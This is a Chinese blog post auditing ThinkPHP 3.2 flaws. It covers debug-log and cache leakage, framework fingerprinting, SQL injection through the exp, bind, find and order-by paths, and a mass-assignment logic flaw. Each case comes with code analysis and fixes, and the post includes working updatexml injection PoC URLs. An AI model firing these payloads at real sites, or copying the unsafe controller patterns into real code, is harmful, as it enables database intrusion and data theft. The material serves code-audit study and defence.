PHP代码审计之再探 TP3 漏洞

之前写过关于 TP 漏洞的文章,只是时间久远,记忆不是很深刻,这次来复习温故知新

TP 3.2 信息泄露

配置环境

数据库连接配置

image-20210322164613538

# application/home/controller/IndexController.class
<?php
namespace Home\Controller;
use Think\Controller;

class IndexController extends Controller
{
    public function index(){
        $data=M("admin")->select();
        dump($data);
        // 注意方法
    }
}
# 连接的是 test 库,并非上图所示

image-20210322165226488

开启调试

# application/home/Conf/config.php
    'SHOW_PAGE_TRACE'       =>  'true',

image-20210322170451358

日志信息泄露

Think PHP 在开启 DEBUG 的情况下会在 Runtime 目录下生成日志,如果 DEBUG 不关,可直接输入路径造成目录遍历

http://localhost/thinkphp/thinkphp_3.2.3_full/Application/runtime/logs/home/21_03_22.log

ThinkPHP3.2:Application/runtime/logs/home/21_03_22.log
ThinkPHP3.1:runtime/logs/home/21_03_22.log
对应:项目命\runtime\logs\home\year_mouth_day.log

日志里有执行 sql 语句的记录

image-20210322171407394

防御方法

关闭 debug

缓存泄露

1.PHP快速缓存方法 F

image-20210322173950649

# application/home/controller/IndexController.class
class IndexController extends Controller
{
    public function index(){
        F("data","<?phpinfo();?>");
    }
}

s:14:"<?phpinfo();?>";

先访问下 index,data 目录下就会生成缓存文件 data,如果 F 函数可控攻击者即可利用其写入木马

image-20210322173704812

2.数据缓存函数 S

缓存文件保存在 temp 目录下

image-20210322173845721

    public function index(){
        S("data","<?phpinfo();?>");
    }

image-20210322174430967

文件名 md5 解密后就是 data

TP 有文件缓存的安全机制

# application/home/Conf/config.php
    'DATA_CACHE_KEY'        =>  'think',

image-20210322174805927

解密后其实就是 thinkdata

指纹识别

  • 确定网站框架
  • cms 指纹识别 || 黑盒测试
  • 框架指纹识别

TP 3.2 可以通过访问以下 URL 出现 logo 则可以确定

/?c=4e5e5d7364f443e28fbf0d3ae744a59a

img

/ThinkPHP/logo.png

img

常用识别方法:TP 全版本通常情况下可以通过随便拼接参数构造报错,如果开启了 Debug 模式会出现报错页面

image-20220103155201611

也可以使用指纹识别工具、在线指纹识别网站、以及浏览器插件(如:wappalyzer)等识别 cms

TP 3.2错误写法导致SQL注入

后端代码

# application/home/controller/IndexController.class.php
<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
    public function index(){
        $username = I("username");
        // I函数的作用是获取系统变量,必要时还可以对变量值进行过滤及强制转换,此函数是安全的
        
        $data = M("admin")->where(array("name"=>$username))->find();
        // M方法用于实例化一个基础模型类,等效于 $User = new Model('User');

        dump($data);
    }
}

image-20210322204552429

参数默认会经过过滤函数

# Model.class.php
$resultSet = $this->db->select($options);

# Driver.class.php
protected function parseValue($value) {
    if(is_string($value)) {
        $value =  strpos($value,':') === 0 && in_array($value,array_keys($this->bind))? $this->escapeString($value) : '\''.$this->escapeString($value).'\'';

# Driver.class.php
public function escapeString($str) {
    return addslashes($str);
}

# 正确写法会经过过滤函数
?username=2%27
SELECT * FROM `admin` WHERE `name` = '2\'' LIMIT 1

错误写法

# application/home/controller/IndexController.class.php
public function index(){
    $username = $_GET("username");
    $data = M("admin")->where(array("name"=>$username))->find();
    dump($data);
}

poc

http://localhost/thinkphp/thinkphp_3.2.3_full/?username[0]=exp&username[1]==%27admin%27%20and%201=(updatexml(1,concat(0x3a,(user())),1))%23

image-20210325153608126

exp 表达式

exp 查询的条件不会被当作字符串,所以后面的查询条件可以使用任何 SQL 支持的语法,包括使用函数和字段名称,查询表达式不仅可用于查询条件也可以用于数据更新

$map['id']=array('in','1,3,8');

# exp 表达式
$map['id']=array('exp',IN (1,2,8))
# 漏洞函数 Driver.class.php
protected function parseWhereItem($key,$val) {
    $whereStr = '';
    if(is_array($val)) {
        if(is_string($val[0])) {
$exp   =  strtolower($val[0]);
            if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比较运算
                $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
                .....
                }elseif('exp' == $exp ){ // 使用表达式
                    $whereStr .= $key.' '.$val[1];
                # 使用 exp 表达式,然而并没有进行过滤
                ......

漏洞修复

数据接收使用 I 函数

I 函数内封装了安全过滤函数

image-20210325164824731

如果语句内存在这些过滤的特殊字符,则会在前边拼接一个空格,这样的话表达式判断失败

elseif('exp' == $exp ){ // 使用表达式

TP 3.2 update\bind注入

漏洞复现

updata 后端代码

class IndexController extends Controller
{
    public function index(){
        $condition['name']=I('username');
        $data['pass']=I('password');
        $res=M('admin')->where($condition)->save($data);
        // 查询修改 admin 表 name 字段值对应的 密码
        dump($res);
        // 修改成功返回 1
    }
}

poc

?username[0]=bind&username[1]=0 and 1=(updatexml(1,concat(0x3a,(user())),1))%23&password=123111

image-20210325183547689

UPDATE `admin` SET `pass`='123111' WHERE `name` = '123111' and 1=(updatexml(1,concat(0x3a,(user())),1))#

漏洞分析

调试界面看到从前端传过来的变量

image-20210325184028958

因为使用了 bind 函数,需要进行绑定,将 :0 和 123456 进行绑定

image-20220113192510601

绑定之后 sql 查询语句 set pass = :0

image-20220113192528432

image-20220113200000864

到这里语句进行了拼接,形成完整的语句,其中 where 条件后的 0 也通过通过匹配变为 :0

image-20220113192939502

在执行语句前,对于 bind 函数绑定参数进行匹配在这里 :0 被替换为 123456 成为最后的语句

image-20220113200405321

漏洞修复

因为 I 函数,过滤函数没有包含 bind,所以添加即可

image-20210325190130844

补充:

is_scalar() 函数

bool is_scalar(mixed $var)

如果给出的变量参数 var 是一个标量,返回 True,否则返回 False

标量变量是指那些包含了 integer,float,string或 boolean 的变量,而 array,object 和 resource 则不是标量

TP 3.2 find注入

漏洞原因为写法不规范,不只是 find select、delete 等语句也存在相同问题(条件:查询数据表只有一个主键)

public function index()
    {
        $id = I("id");
        $data = M("admin")->find($id);
        dump($data);
    }
}

已 find 函数为例:当$options为数字或者字符串类型的时候,直接指定当前查询表的主键作为查询字段

poc

id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1)-- 

image-20220113213245373

要进入复合主键查询代码,需要满足$options为数组同时$pk主键也要为数组,但这个对于表只设置一个主键的时候不成立,那么就可以使$options为数组,同时找到一个表只有一个主键,就可以绕过两次判断,直接进入_parseOptions进行解析

        // 分析表达式
        $options            =   $this->_parseOptions($options);

没有经过任何过滤直接拼接语句造成 sql 注入漏洞

image-20220113213904342

image-20220113214233590

返回查询语句

image-20220113214345741

修复方法:

在 _parseOptions 函数中添加过滤

新版本修复方案:

把外部传进来的$options,修改为$this->options,同时不再使用$this->_parseOptions对于$options进行表达式分析

TP 3.2 OrderBy注入

index

class IndexController extends Controller
{
    public function index()
    {
        $username = I("username");
        $order = I("order");
        $data = M("admin")->where(array("name"=>$username))->order($order)->select();
        dump($data);
    }
}

poc

http://localhost:1111/?username=occcc&order[updatexml(1,concat(0x3a,user()),1)]

image-20220114183015051

调试,在调试的时候可以看右侧灰色字体判断此代码处理数据,把握好单步和跳步精准调式

image-20220114183538194

image-20220114183345041

这里直接 return order by 语句,没有任何过滤

修复:

在 parseOrder 中 parsekey 进行过滤

TP 3.2 逻辑漏洞

自动完成是 ThinkPHP 提供用来完成数据自动处理和过滤的方法,使用 create 方法创建数据对象的时候会自动完成数据处理

开发手册:https://www.kancloud.cn/manual/thinkphp/1777

漏洞原因:使用自动完成功能,但没有对字段进行完整限制,导致攻击者可以更改数据值

image-20220114190336091

开启自动完成

image-20220114190359677

class IndexController extends Controller
{
    public function index()
    {
        $users = D("test");
        // 实例化 User 对象
        if(!$users->create()){
            // 创建数据对象
            // 如果创建失败,表示没有验证通过,输出错误信息
            exit($users->getError());
        } else {
            $users->add();
            // 验证通过,保存数据
        }
    }
}

UsersModel.class.php

<?php
namespace Home\Model;
use Think\Model;
class UsersModel extends Model{
    protected $_auto = array(
        array("password","md5",3,"function")
        // 密码自动 md5 加密
    );
}

可以看到自动完成功能中对于密码进行了 md5 值加密,没有对其他参数做限制

自动完成插入数据不支持 GET 请求,只支持 POST 请求

比如这里没有对 level 限制的话可以对数据进行更改很可能出现越权漏洞

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

OceanSec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值